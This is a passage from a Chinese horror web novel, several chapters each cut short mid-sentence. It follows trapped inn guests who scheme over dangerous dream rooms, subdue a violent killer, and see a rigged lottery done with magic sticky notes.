此话一出,只听见哐哐两声响,吴樊祐正用额头撞击着手腕,声音幽怨地说:“行吧……学姐可以信我,但别太相信那两个人。” 俞小澄愣了愣神:“禾苒和张尧?” “嗯。”吴樊祐点点头,“昨天他们还不想招惹陈奇,也不想与人组队,为何今日就一反常态了呢?” 他的怀疑不无道理,人的想法通常没那么容易改变,除非有非变不可的条件出现,只是因为陈奇失去人数优势了吗? 她还记得昨天张尧提到陈奇时,眼中闪过的畏惧之色,他们都知道陈奇为了活命不择手段,所以不想招惹,至于同伴,他们害怕在需要做出抉择时,良心会过不去,这才一直维持三人队形。 那么,到底是什么理由改变了二人的想法呢? “也许,某人尝到了甜头,明明有最简单的方式通关,我为何要在惶恐中度日?”吴樊祐冷冷地说道。 俞小澄知道,他口中的某人绝不是张尧,因为张尧昨天跟他们一起经历了箭竹梦境,毫无甜头可言。如果不是张尧,那只能是禾苒。 她脑中一个念头闪过,有些骇人,可似乎又很合理。 与禾苒一同进入雏菊梦境的施烨成了昨晚的替死鬼,禾苒或许是想报仇,除掉陈奇的同时,自己还可以顶替陈奇,霸占雏菊房,可谓一石二鸟。 俞小澄不寒而栗,她不想成为禾苒的帮凶,更不想成为下一个替死鬼。 看俞小澄一脸错愕不说话,吴樊祐拍了拍她的肩膀,安慰道:“别多想,今天会发生什么事谁都不知道,说不定会很有趣呢,我们静观其变就好。” 俞小澄总觉得吴樊祐话里有话,仿佛知道即将有意料不到的事会发生一样,她没有问,只是若有所思地继续吃油条。 早餐过后,俞小澄又去二楼看了一眼,果不其然,房门全部消失,走廊上的壁纸又恢复成素净的颜色,地毯也由鲜红变回深色,两端的全身镜依然将走廊延伸得没有尽头。 回到大厅时,整体格局跟他们昨天看到的一样,陈奇带着三个女生坐在一边,而禾苒和张尧坐在另一边,吴樊祐没有去找禾苒,而是带着俞小澄在远离所有人的地方坐下。 禾苒远远看着他,眼神略微失望,但是她嘴角自信的笑仿佛在告诉俞小澄,她还没有放弃。 一晚过去后,消失了两人,可如果算上俞小澄和吴樊祐,又似乎没太大变化,依然是八个人静待着新人的到来。 11点的钟声敲响,厚重的木门传出一声闷响,开启的大门外,是伸手不见五指的黑暗,接着有人从暗处走了进来。 令所有人咋舌的是一下进来了十个人,有男有女,有老有少,口音各异。 “这儿是啥子地方哦?” “有人能解释一下吗?” “我怎么不记得报了旅行团……” “这地方还不错嘛,多少钱一晚?阿宿,你在哪儿找的酒店?几星级的啊?” 新住客七嘴八舌,像极了跟团游的旅客,一窝蜂进入旅店,毫不拘谨四处参观,俞小澄险些以为他们是组团来游玩的。 吴樊祐悠哉地靠在沙发上,饶有兴致地望着大厅里走动的人,又看了看一时乱了阵脚的陈奇和禾苒,大有一副隔岸观火的架势。 “这下禾 22. 反击 《我好像住进了黑店》全本免费阅读 搅乱局面后,禾苒成了众人焦点,此时她在众人眼中形象是一个敢于揭露真相、不屈服于恶势力的善良女人。 人在面对未知时,潜意识总会想要寻求一盏明灯,而此刻禾苒便是那盏可以指望的明灯。 新人将她围在中央,七嘴八舌地询问着关于穷途旅店的一切,什么梦境,什么死亡,如何离开,宛若寄生的菟丝子一样,不遗余力地从寄主身上吸取养分。 “大家别慌。”禾苒抹去脸上泪痕,挥着手让大家安静下来。 人群外,那对年轻情侣中的女人无法控制激动的情绪,焦虑地拉着男友的衣服嚷道:“怎么可能不慌,我们为什么会来到这鬼地方?我们是被绑架了吗?这里可有个杀人犯啊,叫我怎么冷静!不行,我要离开这里!” 说话间,女人挣脱男友的怀抱,向着大门冲去,男友在身后边追边喊:“萍萍,你先别激动,他们刚才不是说了无法离开,我们再想办法好不好?” 那个叫萍萍的女人根本不听,她在木门上没有找到门锁,试着用力推门没用,又拉着门把手往里使劲拽,木门依然纹丝不动。 心里一慌,她疯狂地拍打着门求救,而后想到了什么,在身上摸索起来:“手机呢?我手机呢?阿宿,在你那儿没?快打电话报警啊!” “没有啊……”男友摸了摸口袋说。 “都怪你,非要在结婚前旅行,这下好了吧,到这种鬼地方……”女人数落着男友,蹲坐在门边开始哭哭啼啼。 这时,背着名牌包包的漂亮女生上前一步,双手抱臂,不耐烦地对那个被称作阿宿的男人说道:“能不能管管你女朋友,大家情况都一样,谁不想离开这里?哭有用吗?别在这吵吵嚷嚷,惹人心烦。” 看到漂亮女生,男人眼睛都直了,摸了摸头抱歉道:“对不起,吵到大家了。”说着冲到女友身旁,捂住了她的嘴,轻声劝慰着。 等大厅里重新安静下来,禾苒才继续说:“其实,我来旅店也只比大家早了四天,迄今为止获取到的信息也不算多,要离开这里,还需要大家通力合作。” 周围人群就跟打了鸡血似的,全都赞同禾苒的看法,觉得大家应该互帮互助。 见局势正在往自己这边倾斜,禾苒露出一丝耐人寻味的笑,恰好被俞小澄捕捉到。也许是直觉,俞小澄隐隐感到不安,一种不祥的预感油然而生。 很快,她的预感便被证实了。 禾苒一脸担忧地望向电梯,手指往楼上指了指,说道:“如今最危险的是楼上那人,不知道他今后还会使出什么手段,不管对谁来说他都是个威胁。” 壮硕男人摩拳擦掌:“就他?他若敢耍花样,我打得他满地找牙。” 其他人看着壮硕男子,也觉得安心起来。 但禾苒依旧愁眉不展,摇着头说:“你们没有见识过他的狠厉,单打独斗我们恐怕很难斗得过一个杀人犯。” 听到这句话,大家顿觉说得有理,纷纷提出自己的建议。不过这些人都没经历过生死,也提不出什么过激的方案,大多数觉得只要控制住陈奇,大家轮流看管,让他无法作恶就行。 这时,禾苒说出了自己的想法:“我们无法像他那样没有人性,但穷途旅店的规则可以帮我们对付恶人。” 她的笑有种胸有成竹的淡定,其他人听到规则二字满心好奇,以恶制恶虽然谁也不敢,可如果不是自己动手,谁都可以睁一只眼闭一只眼。 “晚上10点后,住客不可离开客房,这是旅店的规则,不能违反。”禾苒低声说道。 西装男咽了咽口水,好奇发问:“如果违反咯,会发生啥子?” 禾苒摇了摇头:“不知道,曾经一次,一个莽撞的新人离开了客房,当时我在房中听到屋外传来开门声,然后,便听到凄惨的尖叫,第二天,那人再没有出现过。” 这个故事让在场所有人汗毛倒立,唯独那三个高中生似乎并不相信这种怪谈,嬉皮笑脸地开起玩笑。 “这旅店能吃人吗?” “我们把那个叫陈奇的人抓起来试试不就知道了。” “可以可以,我也想看看违反规则的人有什么下场!” 大厅内陷入一阵沉默,大家你看看我,我看看你,谁都不想成为那个做决定的人,毕竟,这是可能杀死某人的决定。 在人群一边的角落里,肖雪三人蜷缩在沙发上,她们没有说一句话,尽力让自己的存在感降到最低。 虽说此前靠着陈奇安全通关梦境,可她们自认不是陈奇的共犯,对陈奇犯下的罪行一无所知,她们也可能成为受害者。 听到众人商讨着对付陈奇的办法,她们没有提出异议,谁让陈奇现在成了众矢之的,她们谁也不想惹火烧身。 她们相互对视,以眼神无声交流着。 最终,还是禾苒敲定了计划,怂恿在场男士联手将陈奇绑起来,给予杀人犯应有的惩罚。 在禾苒的煽动下,三名高中生、壮硕男人、工人、西装男全都行动起来,分成两组分别从电梯和楼梯上楼,包抄陈奇。 很快,大厅里只剩下老人和女人,以及为了安抚女友的年轻小伙、因剧情走向大受震撼的张尧、看戏看得津津有味的吴樊祐。 禾苒看了一眼吴樊祐,笑眯眯地走了过来,随意坐到正对俞小澄和吴樊祐的沙发上,压低声音问道:“如何?有兴趣与我合作了吗?” “还需要合作吗?”吴樊祐反问。 禾苒说:“现在需要合作的是你们,不是我。” 听上去像是谈判,俞小澄大概猜出禾苒的意图。如今这样的局面,禾苒基本控制了所有新人,只要再拉拢他们两个知情人,便再无后顾之忧。 而在人数优势下,他们想抢雏菊房的难度加大,若两边合作,便是双赢。在耍手段这件事上,禾苒未必不如陈奇。 吴樊祐语气平和:“这么多人,你要如何安排?” 所有类型的房间都只有3间,就算除掉陈奇,也还有17人,抛开最难的寒梅梦境,雏菊房只能入住6人,那剩下的11人必定得入住箭竹房和幽兰房。 禾苒露出意味深长的笑,平静地说:“这恐怕得交给运气,而我一向运气很好?” 从她的笑容中,俞小澄感觉到四个字——志在必得,虽然不知道她哪里来的自信,但是她必定已经有了权宜之计。 “哦?你觉得新人这么好骗么?”吴樊祐不置可否。 “只要你们不多嘴,我自然有办法。”禾苒说。 俞小澄心里堵得慌,不知道怎么选才好,不等她做出决定,吴樊祐婉言回拒:“再看看吧,谁知道这么多人会发生什么事。” “那你们最好快些决定,毕竟时间不等人。”禾苒温柔一笑,起身离开。刚走出没几步,那对 23. 突袭 《我好像住进了黑店》全本免费阅读 吴樊祐的反应十分迅速,二话不说便将俞小澄护在身后,带着她退到安全距离外,冷眼旁观着事态的发展。 负伤的陈奇怒气冲天,对着大厅里的人龇牙咧嘴,手里捏着一块沾血的玻璃碎片,自己的手被玻璃割伤,鲜血正从伤口往外渗,顺着碎片滴落,染得地面血迹斑斑。 陈奇一边怒吼着一边冲向禾苒,小情侣见状赶紧逃到一边,漂亮女生也扶着老大爷往角落躲,只有张尧一人慌忙冲上去阻拦,却被陈奇一掌推翻在地。 禾苒难以抑制惊声尖叫,连连后退却被茶几绊倒瘫软在地上。陈奇挥着玻璃碎片就往禾苒身上扎,吓得禾苒用手臂挡住脸。 伴随尖叫声在大厅内回荡,禾苒的手臂见了红,疼痛感迫使她缩回手,哭嚷着往小情侣所在的方向爬。 萍萍捂着嘴不让自己叫出声,眼泪不由自主夺眶而出。阿宿挡在萍萍身前,一脸惊恐地注视着陈奇的举动,每次想冲上前去,就会被萍萍拼命拉住。 陈奇还要痛下杀手,还好张尧一跃而起,将他扑倒在地,两人在地上扭打成一团。 慌乱间,张尧被玻璃碎片划伤脖子,手捂脖子痛苦地倒在血泊里,没有他的阻拦,陈奇又向禾苒扑了过去。 眼看碎片再次扎向禾苒的脸,千钧一发之际,围捕陈奇的六人终于赶来,从楼梯间鱼贯而出,一起扑向陈奇。 六人合力将杀红眼的陈奇压在地上,打落他手中玻璃碎片,这一次,无论陈奇如何挣扎都无法再摆脱束缚,发疯地怒吼着,宣泄着心中不满。 闹剧总算落下帷幕。 俞小澄整个人陷入震惊之中,久久没有回过神,不仅因为血腥暴力的场面,还因为她刚才无意中看见了吴樊祐的脸。 那张冷眼旁观的脸上,竟露出一丝幸灾乐祸的笑,就像是欣赏着眼前杀戮的变态。 这真的是自己认识的那个阳光开朗的学弟吗?难道外表阳光善良的人,内在也可能是个有反社会人格倾向的变态? 她不断在心里问自己,却没有答案。 脑中再次响起三号客服的话——“有罪。” 这种难以言喻的惊诧之感一直持续到陈奇被五花大绑扔在大厅中央,俞小澄回过神来,只见受伤的人被扶到一旁沙发上,萍萍躲在阿宿身后瑟瑟发抖,带着哭腔问道:“怎么办?这里没有医生,他们会不会死啊?” 第一个回应她的是已经癫狂的陈奇,他躺在地上大笑起来,肆无忌惮地嚷嚷:“去死吧,你们一个都跑不了!” 壮硕男人一脚踢中他腹部,厉声威胁道:“闭嘴吧你,当心第一个死的是你。” 陈奇没有收敛的打算,肆意嘲讽:“傻X,贱人的话你们也信,她连同伴都杀,你们走着瞧,就算弄死我,你们也活不成!” 可惜,在他暴力行凶后,大厅里已经没有人会相信他的话,连肖雪三人都关切地走到禾苒和张尧身边,一脸担忧地查看着二人伤势。 “旅店里有急救箱吗?”漂亮女生问道。 听到“急救箱”三个字,俞小澄才想起吴樊祐拿到过一个,但早上离开客房时忘记带走,如今已经跟着客房一同消失了。 她低声问吴樊祐从哪里拿到的急救箱,如果能再弄到手一个,就能给禾苒和张尧处理一下伤口了。 “打电话问前台要的。”吴樊祐平静地回答,“但是现在客服没上线,得等到下午2点。” 听上去似乎没什么问题,可俞小澄总觉得哪里怪怪的。 吴樊祐是往前台打的电话? 旅店规则不是下午2-4点前台才有客服吗? 心中虽有疑问,但她没有提出质疑,只是弱弱地哦了一声。 这时,受伤较轻的禾苒说:“急救箱可以用金币在前台换取,不过没有必要,这点伤睡一觉就好,我记得三楼餐厅有消毒毛巾,可以帮我拿些来吗?” “我们去吧。”三个高中生自告奋勇。 三人上楼寻找消毒毛巾,其余人对禾苒的话将信将疑,虽然二人的伤暂时不致命,但是不依靠药物处理,见血的伤口睡一觉就能自愈,属实有些天方夜谭了。 唯独俞小澄知道,禾苒说的都是真的,因为她昨晚在梦境中受的伤已经消失得不留痕迹。 不多时,三个高中生带着几袋消毒毛巾回到大厅,几个女生用消毒毛巾做了应急处理。 其中张尧的伤势稍重些,万幸没有伤及动脉,可鲜血染红的毛巾还是令人胆怯。暂时用毛巾包扎住伤口,张尧因失血陷入昏迷。 “这样恐怕不行吧……”漂亮女生声音颤抖地质疑。 禾苒看了看张尧,神态看上去并不怎么担心,她说:“没关系,让他睡会儿吧,伤口会好的。” 她在这场袭击中也吓得不轻,恐惧消散后眼里全是怨恨,当旁人问起要如何处置陈奇时,她建议将人先关到三楼吸烟室,等明天看看不在客房中过夜的他会发生什么事。 陈奇闻言,直骂禾苒毒妇,刚骂两声就被壮硕男人用消毒毛巾堵住了嘴,然后壮硕男人和西装男一左一右押着陈奇上了电梯。 大厅重新恢复平静,新人们又在意起接下来将面对的情况,于是围着禾苒又开始问东问西。 禾苒脸色还有些苍白,捂着手臂坐在沙发上,谨慎地讲道:“等人到齐,我们分配一下房间吧。” “美女,我们能和你一起吗?你比我们有经验,跟着你我才安心。”萍萍毫不见外地坐到禾苒身旁,拉着她的手撒娇道。 禾苒友善地拍了拍萍萍的肩,一脸为难地回道:“我也希望能帮到所有人,可是房间人数有限,我们这么多人,由我决定帮谁不帮谁,对谁都不公平啊。” 话音刚落,肖雪紧张地问道:“要怎么分配才公平?” “抓阄。”禾苒微微一笑,“这样吧,大家先去餐厅吃饭,一点在休息活动区集合,一起抓阄决定房间。” 新人对那四种房型情况并不了解,相互看了一眼,没人提出反对,对他们来说,不过是有没有经验者带队罢了,由运气安排,对谁都公平,于是纷纷结伴往楼上走去。 肖雪三人却知道,如果手气不好,抽中雏菊与箭竹以外的两种房型,恐怕是在劫难逃。 她悄悄将禾苒拉到一旁,塞了点亮闪闪的东西到禾苒手里,然后二人低语了几句,禾苒点了点头,她才松了一口气,笑着找到两个同伴往楼上走去。 俞小澄一直站在不远处观察着众人,恰好看到了肖雪与禾苒的互动,大概猜到她们聊了什么话题。 没了陈奇带队,那三个女生只能加入禾苒的阵营,一直默不作声任由禾苒蒙骗新人是筹码,原本应该上缴给陈奇的金币是贿赂,而禾苒在权衡利弊下,极有可能会同意。 很快,禾苒的出现证实了她的想法。 禾苒离开大厅前,特意转到俞小澄和吴樊祐面前,问二人是否已经有了决断。 吴樊祐两手一摊,耸了耸肩,不客气地回答:“我觉得我们没有合作的必要,不用你们那种方式,我们也有办法通关。” “嚯嚯,那可真是遗憾,正好又有三 24. 抽签 《我好像住进了黑店》全本免费阅读 最先跑上前的是那对年轻情侣,他们各自从禾苒手中抽出一张纸条,当着禾苒的面一起展开,居然都写着“雏菊”。 萍萍很高兴不用与阿宿分开,并夸张地炫耀着二人的缘分。 接着上前抽签的是三个高中生,三张纸条同时展开,无一不是写着“幽兰”。三人为此振奋不已,庆祝一般抱在一起蹦蹦跳跳。 俞小澄不仅替他们捏了一把冷汗,还对连续两组人抽中同一房型的概率产生质疑,可当着所有人的面,禾苒究竟是如何做到的,她暂时想不通。 三个高中生退下后,漂亮女生扶着老大爷上前抽取纸条,这一次二人的纸上文字终于不一样了,老大爷的纸上写着“寒梅”,漂亮女生的纸上写着“箭竹”。 紧随其后的壮硕男人抽中了“寒梅”,工人和西装男都抽中了“箭竹”,肖雪三人则全是“雏菊”。 最后轮到俞小澄和吴樊祐,禾苒微笑着招呼二人。吴樊祐全程懒洋洋地躺在在懒人沙发上晒太阳,对禾苒的话充耳不闻。 禾苒耐着性子又喊了两声,吴樊祐眼睛都没睁,平静地回了句:“我不抽,学姐在哪儿我在哪儿。” 于是禾苒的视线又投向俞小澄,俞小澄慢慢走到她面前,说:“那我替他抽吧。” 禾苒似乎对她的反应还算满意,笑着将剩下十来张纸条递到她面前。 俞小澄没有立即上手,而是摸着下巴站在原地,细致地观察着纸条。每一张纸条都被折得很整齐,外观几乎一模一样,很难依靠细微到肉眼难以分辨的不同之处来作弊。 “怎么了?”禾苒见她不动,心生疑虑。 俞小澄急忙不好意思地道歉:“啊,对不起,我只是在想你会将我们安排到哪里。” 禾苒闻言脸色微变,嘴角抽搐着说道:“哪、哪有能力安排啊我,去哪里纯粹靠个人运气。” “哦……” 俞小澄静静思考片刻,才伸手从其中抽出两张纸条。 可她刚想打开纸条,就被禾苒伸手阻拦,只见禾苒面露微笑,再三确认道:“你可要确定好,哪一张是你的,哪一张是吴小哥的。” 俞小澄不解地望着她问:“这很重要吗?” 禾苒脸上表情有些绷不住,就像在嫌她多事,却又不好当着这么多人发作,于是咬着牙抿嘴微笑道:“不确定好,怎么知道上天注定你们该去哪里呢?” “上天是如何左右纸条上文字的?”俞小澄十分在意。 窗边晒着太阳的吴樊祐突然噗嗤一声笑了出来,众人向他望去,他又一动不动装死,看上去不打算为自己的行为做解释。 禾苒有些心烦,催促着俞小澄赶紧决定,不要浪费大家的时间。 见众人紧盯着自己,俞小澄顿觉难为情,低下头,二选一抽出一张,对禾苒说:“那就这张给吴樊祐吧。” “行,那你展开看看结果。”禾苒总算松了一口气。 俞小澄展开替吴樊祐抽的那张纸条,只见上面赫然写着“寒梅”两个字,她微微一怔,没想到自己手气一如既往稳定。 “呃……还是这张给吴樊祐吧。”俞小澄拿起另一张纸条,红着脸反悔道。 还未展开纸条,禾苒再次出手拦住,她略微恼怒地说:“哪有变卦的道理,不是刚才已经决定好了么?” 俞小澄不太明白禾苒为何如此大反应,疑惑地眨眨眼,无言地凝视着禾苒,期盼她能做出解释。 场面看上去有些滑稽,禾苒也意识到自己没道理纠结这点小事,缓缓收回手,眼里藏着一丝不甘心,却还要笑着说:“没事,我单纯讨厌变卦这种行为,你继续。” 随后俞小澄开出一张写着“箭竹”的纸条,而这时候晒太阳的吴樊祐从懒人沙发上蹦了起来,乐呵呵地对禾苒说:“不介意我自己抽一张吧?反正还有多余的。” 禾苒脸上带着笑,可眼神像是在骂人,握着纸条的手因为太用力而使得指节泛白,她说:“你不是让俞小澄帮你抽了吗?” 吴樊祐一脸不解:“我什么时候让学姐帮我抽了,我应该只说了不抽,学姐去哪儿我去哪儿这样的话吧。” “既然如此,那你还抽干嘛。”禾苒明显有些不耐烦。 吴樊祐嬉皮笑脸地说:“看见学姐手气不好,我又来了兴致,想试试自己的手气,不可以吗?” “你!”禾苒差点想骂人,眼珠转了转,想到了什么,强行压下怒气,将握着纸条的手伸到吴樊祐面前,笑道,“你想试就试吧,不过抽中什么,就是天意了。” 吴樊祐一边观察着禾苒的表情,一边从她手里抽出一张纸条,没多想,拆开纸条查看。 又是一张写着“寒梅”二字的纸条。 “呵,还真是天意如此呢!”禾苒笑得很甜。 吴樊祐低头看着纸条没有说话,半晌,认可地点了点头,露出一个意味深长的笑:“天意究竟如何,现在可不好说。” 说罢,在禾苒满腹疑问的注视下,他大摇大摆带着俞小澄走回窗边晒太阳。 禾苒甩了甩头,打算无视这个怪人,然后当着众人的面,从剩下的纸条中抽出一张,然后展开一看,纸上写着“雏菊”。 就此,房间抽取结束,结果是: 入住雏菊房的有肖雪三人组、年轻情侣以及禾苒;入住箭竹房的有漂亮女生、工人和西装男;入住幽兰房的是三个高中生;入住寒梅的有老大爷、壮硕男人,以及变卦调换纸条的俞小澄,还有自己手气同样不好的吴樊祐。 “我们真的要去寒梅房吗?”俞小澄掰着手指算着人头,悄声对吴樊祐说道,“箭竹房其实还有三个名额,我们可以……” 吴樊祐爽朗地笑了起来:“我还以为学姐当真是个听话的宝宝呢。” 俞小澄白了他一眼,小脸微红:“我只是想看看她到底如何暗箱操作……” “那看出来了吗?” “没有……除了超能力,还有什么能做到呢?” “学姐终于开始相信超能力的存在了?” “怎么可能!如果不是人的问题,就只能是纸的问题了。” 俞小澄低头看着手中两张便签纸,这纸是禾苒自己准备的,要说动手脚,就只能是在便签纸上了。 “禾苒能控制纸上的文字,但似乎一旦定下出现的是什么字,就不能再改变了。”俞小澄一边思考着,一边呢喃自语。 “哦?”吴樊祐兴致勃勃地问道,“你从哪里看出来的?” “我抽取纸条后,她一定要我先确定两张纸条的归属,这就很奇怪。” “因为她并没打算给我们两安排相同房型吧。” 俞小澄点头表示赞同:“正是如此,我确定第一张纸条给你后,开出了一张‘寒梅’,而你自己抽的时候也开出了‘寒梅’,所以我猜测,她就是想安 25. 解疑 《我好像住进了黑店》全本免费阅读 趁着众人离开的间隙,俞小澄赶忙投了一枚金币到咨询处的箱子里,然后将便签纸递给一号客服,小声问道:“请告诉我,这个道具怎么使用?” 一号客服确认收到金币后,接过便签纸,平静地讲解起来:“不管任何东西在该道具上留下的痕迹,最终都会消失,只有心念所想,能在上面留下痕迹,不过请注意,一旦留下痕迹后,该张道具便会作废,与普通便签纸无异。” 正如俞小澄所想,禾苒的确是用便签纸做了手脚,控制了所有房间的分配,这个女人恐怕比陈奇还难对付。 她心里犹豫起来,该不该把真相公之于众? 如果真这么做,无疑是向禾苒宣战,她没有自信能斗得过禾苒。可是如果不说,不知真相的新人进入幽兰房和寒梅房,和送死没什么两样,她的良心实在过不去。 正在纠结时,吴樊祐拍了拍她的肩,似乎看出她在烦恼什么,安慰地说道:“静观其变吧,她不会如愿的,有时候想象再美好,也敌不过瞬息万变的局势。” 他似乎意有所指,但俞小澄无法读懂其中深意,将信将疑地点了点头。 随后,俞小澄花了5个金币兑换到一个盲盒,打开盲盒一看,里面躺着一个打火机。 “呃……我不抽烟……”俞小澄拿着打火机,觉得整个人都傻了。 噗的一声笑,吴樊祐急忙捂住嘴,憋着笑对俞小澄说:“挺好的,如果下个梦境是野外生存,还能生火不是?” 俞小澄斜睨了他一眼,有些无语,如果身上还有金币,她倒想直接问问客服,说不定还能获得一些启示,可惜,她在上场梦境中赚取到的所有金币已经花光了。 反观吴樊祐,他尽然一个金币都没赚到,属实有些离谱。 一想到这里,俞小澄将打火机塞进了吴樊祐手里,说:“上次你把求来的道具给了我,这次我的给你吧,有借有还,公平。” 吴樊祐又将打火机还给俞小澄,不乐意地抱怨:“学姐一定要跟我分这么清?” “我不是这个意思……”俞小澄慌张地解释,“只是梦境终究有危险,你也不想着多赚点金币,如何用道具防身。” 吴樊祐呵呵笑了起来:“原来学姐是关心我啊,没关系,我再找客服讨一个就是。” 俞小澄白眼差点翻到天上去,佩服他能理直气壮地当着受害人的面说这种不要命的话,唯恐这种话会被视为对客服不敬,她悄悄瞥了一眼一号客服,好在一号客服笔直地站在柜台里,对他们说的话没有一丝反应。 正松了一口气,她就看到吴樊祐跑向咨询处,开始死皮赖脸地向客服讨要道具。 与昨日的“新人福利”不同,他今天的借口是“通关奖励”。 俞小澄只觉得一口老血淤积于胸,什么话都说不出来,赶紧挡住脸,离吴樊祐远远的。 可是没一会儿,在他锲而不舍的纠缠下,一号客服拿出一只盒子递到了他手上,于是他喜笑颜开地道了一声谢,拉着俞小澄离开了前台。 震惊,除了震惊俞小澄再找不出别的情绪,她不由得回首望了望前台,心想着是不是自己只要脸皮厚一点,也能白嫖一个道具? 可是内心挣扎了许久,这种不要脸的话她依然说不出口。 二人在靠近前台的沙发上坐下,吴樊祐打开盒子,发现里面躺着一张空白的黄色符纸。 “嗯……这个……不会是跟打火机搭配起来生火用的吧……”俞小澄感觉有些头疼。 吴樊祐不正经地说道:“嘿嘿,野外方便时也能应急。” “野外生存限定么……”俞小澄无奈地摇了摇头。 吴樊祐一把将符纸塞进俞小澄手里,笑着说:“那学姐先替我收着,等知道怎么用了再告诉我。” 俞小澄本还想拒绝,却被吴樊祐手指放在唇边,嘘的一声制止了。 此时,大部队回到了前台,显然他们已经商议完毕,除了萍萍,新人各自带着问题排队等候。俞小澄只好先将打火机和符纸收入衣兜,竖起耳朵倾听着前台的问答。 第一个提问的是阿宿,而这个问题问出后,让俞小澄不得不佩服禾苒的洞察力。 阿宿:“旅店可以治愈的伤具体到何种程度?” 一号客服:“只要还有一口气,都能痊愈,只是所需睡眠的长短由伤势决定。” 此话一出,俞小澄从答案中看到了旅店规则的可利用性,这样的问题明显比陈奇想出的那些得不到任何有用信息的问题高明许多。 也难怪陈奇在穷途旅店呆了半个月,利用了所有能利用的新人,获取到的规则也只是皮毛。当他还在为避免违规而苦恼时,禾苒已经开始试图反利用规则保命了。 这就是禾苒与陈奇的区别,陈奇能想到寻找替死鬼、霸占雏菊房就已经是他智商的极限了,相反,禾苒更聪明,更适合做领头羊,同时也更加阴险。 就在俞小澄思考时,第二个人已经走到一号客服面前。 漂亮女生:“梦境里是否藏着记忆之门?” 一号客服:“是的。” 壮硕男人紧接着问:“长得跟普通门一样吗?” 一号客服:“记忆之门的形态由梦境决定,我没有权限,无法准确回答。” 这两个突如其来的问题让俞小澄心神一震,不由自主地看向了身旁的吴樊祐,只见他微微皱了皱眉头。 记忆之门,是进入梦境第一天吴樊祐找前台两个女同事打听到的线索,后来得知前台是无目者后,她便判定这条线索为谎言,从未再考虑过。 但是如今一号客服的回答,明确地告诉她,记忆之门是真实存在的,那么吴樊祐打听到的线索是真的。 她不知道为何无目者会说真话,而禾苒又为何会让新人提出记忆之门的问题?无数的疑问在脑海里盘旋,搅得她脑子里乱乱的。 禾苒是自己在梦境中打听到了记忆之门的线索,还是听张尧提起昨晚梦境得知的? 答案不得而知,但无论哪一种,能想到向客服确认,都说明她不简单。 接着,三个高中生又挨个问了一个问题,一号客服一一解答。 “恶灵是否是无敌的?” “不是。” “用什么办法可以消灭恶灵?” “正确的道具。” “消灭恶灵后会发生什么?” “梦境终结,该梦境不再出现。” 三个高中生完成任务后,离开队列,老大爷杵着拐杖,颤颤巍巍地往前一步,问:“梦境是否有限?” 一号客服答:“权限不足,无可奉告。” 跟在老大爷身后的西装男闻言皱起了眉头,回头看了一眼禾苒,嚷道:“啥子鬼东西哦?她答了跟没答一样,我再问‘终结所有梦境能不能离开这儿’这种问题还有意义蛮?” 禾苒估计也没想到客服无法给出答案,可一时也想不到其他问题,便让西装男继续,西装男 26. 悄然 《我好像住进了黑店》全本免费阅读 俞小澄首先思索的是透明人留下这句话的缘由,以及这句话究竟想表达什么,紧随其后想到的,是为何不在娱乐室附近的张尧都听到了,而就在娱乐室门外的吴樊祐却什么都没听到。 她没好意思直接问吴樊祐,只能任凭心中惊涛骇浪,自我苦恼着。 “你吓傻幻听了吧,我就在透明人房间门外,我都没听到,你能听到?纯编是吧?” 吴樊祐先行发难,直指张尧危言耸听,张尧也不甘示弱,骂吴樊祐耳聋,两人又跟小学生吵架一样斗起嘴来。 俞小澄有些无奈,看样子谁也不像是撒谎,放任二人为此事争论不休不过是浪费时间罢了,所以她赶紧打断二人道:“行了,有空不如想想今晚怎么办……” 嘴上虽然说着不要纠结,但实际上她心里已有决断。 当时在场的除了吴樊祐和张尧,还有招财进宝,她只需要等到晚上进入梦境,跟招财进宝确认一下就行。 这样想着,不由地伸手进兜里摸了摸那两个陶瓷娃娃。 “现在什么情况?” 张尧的话将俞小澄拉回现实,她简单叙述了一下抓阄和咨询客服的事,唯独悄悄略去了禾苒企图抛弃他这个队友的事。 “所以……记忆之门真的存在?”张尧惊讶地看了吴樊祐一眼。 吴樊祐冷言冷语:“怎么?觉得我骗你,你还告诉禾苒?” 张尧挠了挠头,面露惭愧之色,告诉二人自己同禾苒说了昨晚的梦境,主要还是为了分享梦境线索,避免以后再遇上不知如何应对。 “那她跟你分享她昨晚的梦境没?”吴樊祐反问。 “嗯?”张尧愣了一下,似乎从没想过这个问题,“雏菊梦境没必要吧……” 吴樊祐冷哼了一声:“的确没必要,你们不已经知道必胜法了么。” 张尧脸色瞬间没了血色,自己也似乎意识到说错了话,随即有个恐怖的念头蹿了出来,他瞳孔微颤,咬着嘴唇闭口不言。 “所以禾苒昨晚,是坐以待毙,等着陈奇找上门?还是全程祈祷,期盼陈奇宰了别人?亦或是先下手为强呢?”吴樊祐毫不客气地拆穿道。 不知为何,俞小澄时常感觉吴樊祐对这里的人有着天生的敌意,因此总是嘴下不留情。 “你觉得是苒姐杀了烨哥?”张尧双手不自觉地捏紧。 吴樊祐耸了耸肩:“我可没这么说,我不过是说禾苒对陈奇先下手为强,是你这么想罢了。” 张尧的脸色有些难看,沉默了许久,才艰难地开口:“我不知道……昨晚烨哥本想把住雏菊房的机会让给我,最后是苒姐选择了烨哥……” 吴樊祐漠不关心地说:“现在想这些也无济于事了,反正你已经被禾苒踢出队伍,今后啊,你就自求多福了。” 张尧晃了晃脑袋,又狠狠拍了拍脸,试图让自己清醒一些,而后目光坚定地看向俞小澄:“我决定了,今后就跟着你了,小澄姐!” 俞小澄满头问号:“啊?” “你小子是不是想挨揍?!”吴樊祐挽起袖子,像抓小鸡一样抓住张尧的后脖颈,将人提了起来。 张尧挣扎着骂道:“我跟着小澄姐,又不跟着你,你闹个屁啊!” 然后两个人又跟小学生打架一样,互相推搡起来,看得俞小澄十分头疼,最后出声制止了二人,也同意了张尧的加入。 团队,对她而言,曾经是多么遥不可及的东西,纵然是两个“小学生”,可他们至少觉得她有存在的价值。 就此说定后,张尧主动提议道:“那今晚还是住箭竹房吧,不是说抽中箭竹房的只有三人么?加上我们,刚好合适。” 俞小澄有些犹豫,如果可以如此随意,那抓阄又有何意义呢? 一旦有人不受约定限制,必然会引发跟风行为。原本跟她一样抽中寒梅房的人会质疑他们为何要逃避,从而也提出换房。而换房行为一旦开始,新人当然会想要换到禾苒所在的雏菊房。 如此一来,禾苒的计划恐怕会泡汤,众人也会乱了套。 她已经可以想象到,晚上在前台争抢房卡的混乱场面。 “会不会不太好……”俞小澄畏畏缩缩地说道。 张尧正要开口劝解,却被吴樊祐插嘴打断。 